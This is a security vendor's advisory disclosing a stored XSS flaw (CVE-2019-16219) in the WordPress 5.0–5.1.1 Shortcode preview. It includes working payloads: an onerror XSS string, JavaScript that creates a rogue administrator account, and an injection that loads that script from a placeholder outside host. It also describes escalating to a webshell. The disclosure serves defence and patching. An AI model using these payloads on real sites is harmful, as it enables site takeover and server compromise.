Threat Research

WordPress (Core) Stored XSS Vulnerability

By Zhouyuan Yang | September 12, 2019

FortiGuard Labs Breaking Threat Research

Overview

WordPress is the world’s most popular Content Management System (CMS). It has 60.4% of the global CMS market share, which is far higher than the second-place Joomla!, which only has 5.2% of the market share. As a result, over a third of all of the websites on the Internet were built using WordPress.

The FortiGuard Labs team recently discovered a stored Cross-Site Scripting (XSS) zero-day vulnerability in WordPress. This XSS vulnerability is caused by the new built-in editor Gutenberg found in WordPress 5.0. The editor fails to filter the JavaScript/HTML code in the Shortcode error message. This allows a remote attacker with Contributor or higher permission to execute arbitrary JavaScript/HTML code in the browser of victims who access the compromised webpage. If the victim has high permission, such as an administrator, the attacker could even compromise the web server.

This stored XSS vulnerability (identified as CVE-2019-16219) affects WordPress versions from 5.0 to 5.0.4, 5.1 and 5.1.1.

Analysis

In WordPress 5.0, users can add Shortcode blocks to a post. When adding certain HTML encoded characters like “&lt;” to the Shortcode block and then re-opening this post, it shows an error message and previews it by decoding the “&lt;” to “<”. 

Figure 1. Inserting HTML encoded characters into a Shortcode block

Figure 2. A Shortcode error message with preview

The XSS filter in this preview can be easily bypassed with the PoC “"&gt;&lt;img src=1 onerror=prompt(1)&gt;”. 

Figure 3. Inserting PoC code into the Shortcode block

When any victim views this post, the XSS code will be executed in their browser. 

Figure 4. WordPress Shortcode Preview XSS

If the victim happens to have admin rights, the criminal could then exploit this vulnerability to gain control of the administrator’s account, leverage the WordPress built-in function to GetShell, then take control of the server.

For example, the attacker could host JavaScript file, such as wpaddadmin[.]js (described in the link), on their webserver. This JavaScript code will add a WordPress administrator account with the username “attacker” and password “attacker”.

  1. // Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value  
  2. var ajaxRequest = new XMLHttpRequest();  
  3. var requestURL = "/wordpress/wp-admin/user-new.php";  
  4. var nonceRegex = /ser" value="([^"]*?)"/g;  
  5. ajaxRequest.open("GET", requestURL, false);  
  6. ajaxRequest.send();  
  7. var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);  
  8. var nonce = nonceMatch[1];  
  9.   
  10. // Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator  
  11. var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@site.com&pass1=attacker&pass2=attacker&role=administrator";  
  12. ajaxRequest = new XMLHttpRequest();  
  13. ajaxRequest.open("POST", requestURL, true);  
  14. ajaxRequest.setRequestHeader("Content-Type""application/x-www-form-urlencoded");  
  15. ajaxRequest.send(params);  

The attacker could then insert the JavaScript using the following PoC.

“"&gt;&lt;img src=1 onerror="javascript&colon;(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();"&gt;”

Figure 5. Inserting XSS code to add an administrator account

Once a victim with high permission views this post, the administrator account “attacker” will be created. 

Figure 6. XSS code is executed

Figure 7. The “attacker” account with administrator permission created by the XSS code

The attacker could then modify an existing php file to a webshell and use the webshell to take control of the webserver. 

Figure 8. Adding a web shell with the attacker’s account

Figure 9. Taking control of the webserver

Solution

FortiGuard Labs contacted WordPress about this zero-day discovery, and they have issued a patch. All users of vulnerable versions of WordPress are encouraged to upgrade to the latest WordPress version or apply the latest patches immediately.

Additionally, organizations that have deployed Fortinet IPS solutions are already protected from this vulnerability with the following signature:

WordPress.Shortcode.Preview.XSS

Learn more about FortiGuard Labs and the FortiGuard Security Services portfolioSign up for our weekly FortiGuard Threat Brief. 

Read about the FortiGuard Security Rating Service, which provides security audits and best practices.